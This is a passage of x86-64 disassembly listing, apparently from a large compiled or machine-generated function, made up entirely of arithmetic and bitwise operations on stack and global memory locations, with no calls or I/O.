xor eax, ecx
mov dword [rsp + 0x4fa8], eax
lea rax, [rsp + 0xcb50]
mov qword [rsp + 0xcf90], rax
movsx eax, word [rsp + 0x19ac]
mov rcx, qword [0x1401cde48]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1904], ax
mov rax, qword [rsp + 0xa2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9c78]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1401cc110], ax
movzx eax, byte [rsp + 0x1e4]
mov byte [rsp + 0x397], al
movzx eax, byte [rsp + 0x305]
mov rcx, qword [rsp + 0x96b0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0x93e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28e]
and eax, ecx
mov rcx, qword [rsp + 0x9c90]
mov byte [rcx], al
lea rax, [rsp + 0x1680]
mov qword [rsp + 0xcf98], rax
mov rax, qword [rsp + 0xa320]
mov rcx, qword [rsp + 0xad70]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5244], eax
lea rax, [rsp + 0xa880]
mov qword [rsp + 0xcfa0], rax
mov eax, dword [rsp + 0x4ba8]
mov ecx, dword [rsp + 0x54c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ec0], eax
mov rax, qword [rsp + 0xa048]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8848], rax
lea rax, [rsp + 0x30a]
mov qword [0x1401cdf40], rax
lea rax, [rsp + 0x224]
mov qword [rsp + 0xcfa8], rax
movzx eax, word [rsp + 0x1b34]
movzx ecx, word [0x1401cc18c]
add eax, ecx
mov rcx, qword [rsp + 0xa8b0]
mov word [rcx], ax
lea rax, [rsp + 0x2b8]
mov qword [rsp + 0xcfb0], rax
mov rax, qword [rsp + 0x92c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a28]
sub eax, ecx
mov rcx, qword [rsp + 0x9980]
mov word [rcx], ax
mov rax, qword [rsp + 0xb798]
mov rcx, qword [rsp + 0xb4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5508], eax
mov rax, qword [rsp + 0xbdc0]
mov eax, dword [rax]
mov dword [rsp + 0x5518], eax
mov rax, qword [rsp + 0xae38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc2e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0xc2f8]
mov qword [rsp + 0xcfb8], rax
movsx eax, byte [rsp + 0x306]
mov rcx, qword [rsp + 0xc438]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [str.xu__v0], al
movzx eax, word [rsp + 0x19e8]
mov rcx, qword [rsp + 0xced8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1850], ax
lea rax, [rsp + 0x1800]
mov qword [rsp + 0xcfc0], rax
movzx eax, byte [rsp + 0x21f]
mov rcx, qword [rsp + 0xbf48]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc8e0]
mov byte [rcx], al
mov rax, qword [rsp + 0xac08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x29d], al
lea rax, [rsp + 0x8e20]
mov qword [rsp + 0xcfc8], rax
mov eax, dword [rsp + 0x4fb8]
mov ecx, dword [rsp + 0x53f0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f90], eax
lea rax, [rsp + 0x5380]
mov qword [rsp + 0xcfd0], rax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xcc60]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbbc8]
mov qword [rcx], rax
lea rax, [rsp + 0x1268]
mov qword [0x1401cdf48], rax
movzx eax, byte [rsp + 0x37d]
mov rcx, qword [rsp + 0xa9b0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc210]
mov byte [rcx], al
movzx eax, byte [rsp + 0x387]
mov byte [rsp + 0x398], al
mov rax, qword [0x1401cd7b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16c0]
add eax, ecx
mov word [rsp + 0x1680], ax
movzx eax, word [rsp + 0x1598]
mov word [rsp + 0x1bc8], ax
mov eax, dword [rsp + 0x4f38]
mov ecx, dword [rsp + 0x54c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5200], eax
mov rax, qword [rsp + 0xb778]
mov rcx, qword [rsp + 0xba30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x51c8], eax
mov rax, qword [rsp + 0xbd08]
mov qword [rsp + 0xcfd8], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ea]
sub eax, ecx
mov rcx, qword [0x1401cd858]
mov byte [rcx], al
mov rax, qword [rsp + 0xa138]
movzx eax, byte [rax]
mov byte [rsp + 0x399], al
movsx eax, word [rsp + 0x15d8]
movsx ecx, word [rsp + 0x16cc]
add eax, ecx
mov word [rsp + 0x17d8], ax
movzx eax, word [rsp + 0x1984]
mov rcx, qword [rsp + 0xc6f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18e4], ax
mov rax, qword [rsp + 0xb780]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x373]
and eax, ecx
mov byte [rsp + 0xfb], al
mov eax, dword [rsp + 0x5450]
mov rcx, qword [rsp + 0xb4b0]
mov qword [rsp + 0xcfe0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcfe0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5430], eax
mov rax, qword [rsp + 0xbc38]
mov rax, qword [rax]
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xa308]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e5c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x54cc], eax
mov rax, qword [rsp + 0xc350]
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xb450]
movzx eax, word [rax]
mov word [0x1401cdf50], ax
movsx eax, byte [rsp + 0x2ce]
movsx ecx, byte [rsp + 0x62]
sar eax, cl
mov rcx, qword [rsp + 0xa3f8]
mov byte [rcx], al
movsx eax, word [rsp + 0x18fc]
movsx ecx, word [rsp + 0xebc]
cdq
idiv ecx
mov word [rsp + 0x1020], ax
lea rax, [rsp + 0x251]
mov qword [rsp + 0xcff8], rax
movsx eax, word [rsp + 0x1a14]
movsx ecx, word [rsp + 0x12e8]
xor eax, ecx
mov rcx, qword [rsp + 0xaeb8]
mov word [rcx], ax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xc3b0]
mov rcx, qword [rsp + 0x81f0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x91e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbab8]
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa580]
mov dword [rcx], eax
mov rax, qword [0x1401cc010]
mov qword [rsp + 0xd008], rax
mov rax, qword [rsp + 0xa2d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x98c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc072], al
movsx eax, byte [rsp + 0x36a]
mov rcx, qword [rsp + 0xc480]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xacd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9870]
movzx eax, word [rax]
mov word [rsp + 0x1bcc], ax
mov rax, qword [rsp + 0xa0b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xacc0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1640], ax
mov rax, qword [rsp + 0xca50]
movzx eax, word [rax]
movzx ecx, word [0x1401cc0e8]
sub eax, ecx
mov rcx, qword [rsp + 0xb218]
mov word [rcx], ax
mov eax, dword [rsp + 0x545c]
mov dword [rsp + 0x551c], eax
mov rax, qword [rsp + 0xa620]
mov rcx, qword [rsp + 0x95e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9ce8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf38]
mov rax, qword [rax]
mov qword [rsp + 0xd010], rax
mov rax, qword [rsp + 0xb548]
mov rcx, qword [0x1401cc010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xad78]
mov qword [rcx], rax
lea rax, [rsp + 0x38e]
mov qword [0x1401cdf58], rax
lea rax, [rsp + 0x271]
mov qword [rsp + 0xd018], rax
movsx eax, word [rsp + 0x18d0]
movsx ecx, word [rsp + 0x17f4]
sub eax, ecx
mov word [rsp + 0x1940], ax
movzx eax, word [rsp + 0x1ab4]
movzx ecx, word [rsp + 0x1644]
sub eax, ecx
mov word [rsp + 0x1934], ax
mov rax, qword [rsp + 0xbca8]
movzx eax, byte [rax]
mov byte [rsp + 0x39a], al
mov rax, qword [rsp + 0xa0d0]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9dd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x52a4]
mov dword [rsp + 0x5520], eax
mov eax, dword [rsp + 0x5344]
movzx ecx, al
mov eax, dword [rsp + 0x4ff0]
sar eax, cl
mov rcx, qword [rsp + 0xcbb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf48]
mov rcx, qword [rsp + 0xb368]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa2f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xced8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1328], ax
mov rax, qword [rsp + 0x9250]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc4b0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cdd10], ax
mov rax, qword [rsp + 0xb178]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc330]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa520]
mov byte [rcx], al
mov rax, qword [rsp + 0x9858]
movzx eax, byte [rax]
mov byte [rsp + 0x39b], al
mov rax, qword [rsp + 0x93c0]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd908]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb550]
mov byte [rcx], al
mov rax, qword [rsp + 0x8e20]
mov rcx, qword [rsp + 0xad98]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb9c0]
mov qword [rsp + 0xd020], rax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x50a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5210], eax
lea rax, [rsp + 0x5424]
mov qword [rsp + 0xd028], rax
mov rax, qword [rsp + 0xc498]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b14]
imul eax, ecx
mov word [rsp + 0x1af4], ax
lea rax, [rsp + 0x2cc]
mov qword [0x1401cdf60], rax
movzx eax, word [rsp + 0x15a4]
movzx ecx, word [rsp + 0x15c0]
add eax, ecx
mov word [rsp + 0x1ac0], ax
movzx eax, byte [rsp + 0x353]
mov byte [rsp + 0x39c], al
movsx eax, word [rsp + 0x1544]
movsx ecx, word [0x1401cc0ac]
add eax, ecx
mov rcx, qword [rsp + 0xacc0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc050]
mov qword [rsp + 0xd030], rax
mov eax, dword [rsp + 0x512c]
mov ecx, dword [rsp + 0x5484]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xce80]
mov dword [rcx], eax
mov eax, dword [rsp + 0x543c]
mov dword [rsp + 0x5524], eax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xb790]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa6f8], rax
movzx eax, byte [rsp + 0x224]
mov rcx, qword [rsp + 0xcd90]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x96a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xaf]
shl eax, cl
mov byte [0x1401cc0db], al
mov rax, qword [rsp + 0xc220]
movzx eax, word [rax]
mov word [rsp + 0x1bd0], ax
movzx eax, word [rsp + 0x11c0]
movzx ecx, word [rsp + 0x1a7c]
sar eax, cl
mov rcx, qword [rsp + 0x9530]
mov word [rcx], ax
mov rax, qword [rsp + 0x98f0]
movzx eax, word [rax]
mov word [rsp + 0x1bd4], ax
mov rax, qword [rsp + 0x9e90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x84e0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf78]
mov ecx, dword [rsp + 0x51e8]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9310]
mov qword [rsp + 0xd038], rax
mov eax, dword [rsp + 0x5354]
mov ecx, dword [rsp + 0x50d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x52c0], eax
movzx eax, byte [rsp + 0x2f5]
mov rcx, qword [rsp + 0xbde8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x169], al
movsx eax, byte [rsp + 0x174]
mov rcx, qword [rsp + 0xc590]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc04a], al
movzx eax, word [rsp + 0x1550]
movzx ecx, word [rsp + 0x1b3c]
add eax, ecx
mov word [rsp + 0x1964], ax
movsx eax, byte [rsp + 0x314]
movsx ecx, byte [rsp + 0x21b]
sub eax, ecx
mov byte [rsp + 0x292], al
lea rax, [rsp + 0x14c8]
mov qword [rsp + 0xd040], rax
mov rax, qword [rsp + 0xb9b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc468]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc7c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9e48]
mov qword [rsp + 0xd048], rax
mov rax, qword [rsp + 0xb5b8]
mov ecx, dword [rsp + 0x4fd4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fe0], eax
mov rax, qword [rsp + 0xb560]
mov rcx, qword [rsp + 0xb088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc100], rax
lea rax, [rsp + 0x50e4]
mov qword [rsp + 0xd050], rax
movsx eax, word [rsp + 0x181c]
movsx ecx, word [rsp + 0x1994]
add eax, ecx
mov word [0x1401cdb68], ax
movsx eax, byte [rsp + 0x355]
mov rcx, qword [rsp + 0xb0c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
lea rax, [rsp + 0x289]
mov qword [rsp + 0xd058], rax
movzx eax, byte [rsp + 0x2da]
movzx ecx, byte [rsp + 0x328]
sar eax, cl
mov byte [rsp + 0xc2], al
mov rax, qword [rsp + 0xa850]
movzx eax, byte [rax]
mov byte [rsp + 0x39d], al
mov eax, dword [0x1401cc01c]
mov rcx, qword [rsp + 0x9468]
mov qword [rsp + 0xd060], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd060]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x504c], eax
mov rax, qword [rsp + 0xa0b8]
mov rcx, qword [rsp + 0xc2c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5470], eax
mov rax, qword [rsp + 0x9978]
mov rax, qword [rax]
mov qword [rsp + 0xd068], rax
mov rax, qword [rsp + 0xa358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ab8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3a8], rax
lea rax, [rsp + 0x1598]
mov qword [0x1401cdf68], rax
mov rax, qword [rsp + 0x9050]
movzx eax, byte [rax]
mov byte [rsp + 0x39e], al
movsx eax, byte [rsp + 0x23c]
movsx ecx, byte [rsp + 0x32a]
and eax, ecx
mov rcx, qword [rsp + 0xb5a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9550]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19a0]
sub eax, ecx
mov word [rsp + 0x14d8], ax
lea rax, [rsp + 0x1a04]
mov qword [rsp + 0xd070], rax
mov rax, qword [rsp + 0xaf48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb000]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb588]
mov qword [rcx], rax
lea rax, [rsp + 0xcd88]
mov qword [rsp + 0xd078], rax
mov rax, qword [rsp + 0xcc58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dc4], eax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x509c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb978]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x199]
movzx ecx, byte [rsp + 0x24f]
add eax, ecx
mov rcx, qword [0x1401cda20]
mov byte [rcx], al
lea rax, [rsp + 0x1510]
mov qword [rsp + 0xd080], rax
mov rax, qword [rsp + 0xc3a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc828]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a38]
mov word [rsp + 0x1bd8], ax
mov rax, qword [rsp + 0xa468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xedc]
sub eax, ecx
mov word [rsp + 0x1658], ax
mov rax, qword [rsp + 0xb510]
mov rax, qword [rax]
mov qword [rsp + 0xd088], rax
mov rax, qword [rsp + 0xa080]
mov rcx, qword [rsp + 0xb440]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xad10]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa430]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52dc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc208]
mov dword [rcx], eax
lea rax, [0x1401cd710]
mov qword [rsp + 0xd090], rax
mov rax, qword [rsp + 0xcaf8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
shl eax, cl
mov byte [str._baeP_V], al
movzx eax, word [rsp + 0x1b0c]
mov rcx, qword [rsp + 0xb5d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1b3c], ax
mov rax, qword [0x1401cddf0]
movzx eax, word [rax]
mov word [rsp + 0x1bdc], ax
movzx eax, byte [rsp + 0x328]
movzx ecx, byte [rsp + 0x33c]
xor eax, ecx
mov byte [rsp + 0x78], al
movzx eax, byte [rsp + 0x252]
mov rcx, qword [rsp + 0xd058]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2a6], al
mov eax, dword [0x1401cd720]
mov dword [rsp + 0x5528], eax
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0xabe8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xaca8], rax
lea rax, [rsp + 0x4718]
mov qword [rsp + 0xd098], rax
mov rax, qword [rsp + 0xb3e0]
mov rcx, qword [0x1401cc028]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7c8], rax
movzx eax, word [rsp + 0x19bc]
mov rcx, qword [rsp + 0xa490]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc160], ax
mov rax, qword [rsp + 0xa150]
movsx eax, byte [rax]
mov rcx, qword [0x1401cde40]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x30c], al
mov rax, qword [rsp + 0xa978]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1560]
add eax, ecx
mov word [rsp + 0xf38], ax
mov rax, qword [rsp + 0xc1d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x398]
add eax, ecx
mov byte [rsp + 0x259], al
movzx eax, word [rsp + 0x19c4]
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0x8100]
mov rcx, qword [rsp + 0xa7d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae8], rax
mov rax, qword [rsp + 0xaa90]
mov rcx, qword [rsp + 0xb9c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaf50], rax
mov eax, dword [rsp + 0x4a50]
mov dword [rsp + 0x552c], eax
mov rax, qword [rsp + 0xbab8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5478]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x533c], eax
lea rax, [rsp + 0x1698]
mov qword [0x1401cdf70], rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0xd0a0], rax
movzx eax, word [rsp + 0x16dc]
mov rcx, qword [rsp + 0xa890]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf3c], ax
lea rax, [rsp + 0x179c]
mov qword [rsp + 0xd0a8], rax
movzx eax, byte [rsp + 0x1ee]
movzx ecx, byte [0x1401cd7ee]
shl eax, cl
mov byte [rsp + 0x2eb], al
mov rax, qword [rsp + 0xa598]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xac68]
sar rax, cl
mov qword [rsp + 0xaaf0], rax
mov eax, dword [rsp + 0x53fc]
mov dword [rsp + 0x5530], eax
mov rax, qword [rsp + 0xae70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5524]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f3c], eax
lea rax, [rsp + 0xc250]
mov qword [rsp + 0xd0b0], rax
movzx eax, byte [rsp + 0x1fc]
mov byte [0x1401cd8fa], al
mov rax, qword [rsp + 0xb8b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2fc]
add eax, ecx
mov byte [rsp + 0x25e], al
movzx eax, word [0x1401cc078]
mov rcx, qword [rsp + 0xc018]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
mov byte [rsp + 0x39f], al
mov rax, qword [rsp + 0x9a40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17fc]
imul eax, ecx
mov word [rsp + 0x180c], ax
lea rax, [rsp + 0x4e68]
mov qword [rsp + 0xd0b8], rax
mov rax, qword [rsp + 0xa658]
mov rcx, qword [rsp + 0xc900]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8168], rax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x4b7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab40]
mov dword [rcx], eax
lea rax, [rsp + 0xacd0]
mov qword [rsp + 0xd0c0], rax
mov rax, qword [rsp + 0xcfa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9208]
mov byte [rcx], al
mov rax, qword [rsp + 0xc428]
movzx eax, word [rax]
mov rcx, qword [0x1401cd790]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cd830], ax
movzx eax, word [rsp + 0x1a8c]
mov word [rsp + 0x1be4], ax
mov rax, qword [rsp + 0xc5b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaf98]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa8e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x14c4]
mov word [rsp + 0x1be8], ax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0xa538]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xad28], rax
mov rax, qword [rsp + 0x9460]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x81c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88e8], rax
lea rax, [rsp + 0x4894]
mov qword [rsp + 0xd0c8], rax
mov eax, dword [rsp + 0x5098]
mov ecx, dword [rsp + 0x5408]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e40], eax
mov rax, qword [rsp + 0xcb60]
movzx eax, byte [rax]
mov byte [rsp + 0x3a0], al
mov rax, qword [rsp + 0xb968]
movzx eax, word [rax]
mov rcx, qword [0x1401cddb8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [str.1_r_], ax
movsx eax, word [rsp + 0x1ae4]
mov rcx, qword [rsp + 0xa108]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbe80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x359]
mov rcx, qword [rsp + 0xa9b0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbc80]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c58]
movzx eax, byte [rax]
mov byte [rsp + 0x3a1], al
mov rax, qword [rsp + 0xa368]
movzx ecx, al
mov rax, qword [rsp + 0xa758]
shr rax, cl
mov rcx, qword [rsp + 0x90f8]
mov qword [rcx], rax
lea rax, [rsp + 0x51dc]
mov qword [rsp + 0xd0d0], rax
mov rax, qword [rsp + 0xa210]
mov rcx, qword [rsp + 0xc4b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb050], rax
mov rax, qword [rsp + 0xaee0]
mov ecx, dword [rsp + 0x52f0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x185c]
mov rcx, qword [rsp + 0xc948]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xef0], ax
mov rax, qword [0x1401cdbe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc2]
add eax, ecx
mov rcx, qword [0x1401cdcd8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x359]
movzx ecx, byte [rsp + 0x76]
add eax, ecx
mov byte [rsp + 0xf5], al
lea rax, [0x1401cc148]
mov qword [rsp + 0xd0d8], rax
mov rax, qword [rsp + 0xb2e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a64]
sub eax, ecx
mov word [rsp + 0x16ac], ax
mov rax, qword [rsp + 0xc340]
mov rcx, qword [rsp + 0x91b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaae0]
mov qword [rcx], rax
lea rax, [rsp + 0x5138]
mov qword [rsp + 0xd0e0], rax
mov rax, qword [rsp + 0xaff0]
mov ecx, dword [rsp + 0x5184]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov dword [rcx], eax
lea rax, [rsp + 0x82f8]
mov qword [rsp + 0xd0e8], rax
movsx eax, word [rsp + 0x16a0]
mov rcx, qword [rsp + 0xb0b0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f30]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0xf4]
sub eax, ecx
mov byte [0x1401cd727], al
lea rax, [rsp + 0x2aa]
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0x9578]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc042]
add eax, ecx
mov byte [rsp + 0x1b7], al
movzx eax, word [rsp + 0x1b04]
movzx ecx, word [rsp + 0x176c]
shl eax, cl
mov word [rsp + 0x1678], ax
movzx eax, word [rsp + 0x1bd4]
mov word [rsp + 0x1bec], ax
mov rax, qword [rsp + 0xa4f8]
mov rcx, qword [rsp + 0x9308]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbb08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
mov qword [rsp + 0xd0f8], rax
mov rax, qword [rsp + 0xc4a0]
mov rcx, qword [rsp + 0x99a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb458]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9c70]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb620]
mov qword [rsp + 0xd100], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd100]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa2b8]
mov dword [rcx], eax
lea rax, [rsp + 0x1eb]
mov qword [0x1401cdf78], rax
mov rax, qword [rsp + 0xa878]
movzx eax, byte [rax]
mov byte [rsp + 0x3a2], al
mov rax, qword [rsp + 0xc058]
movsx eax, word [rax]
mov rcx, qword [0x1401cdf00]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa988]
mov word [rcx], ax
lea rax, [rsp + 0x288]
mov qword [rsp + 0xd108], rax
mov rax, qword [rsp + 0xbe08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x37e]
sub eax, ecx
mov rcx, qword [rsp + 0xa5a0]
mov byte [rcx], al
mov rax, qword [0x1401cc028]
mov rcx, qword [rsp + 0xba58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa7c8], rax
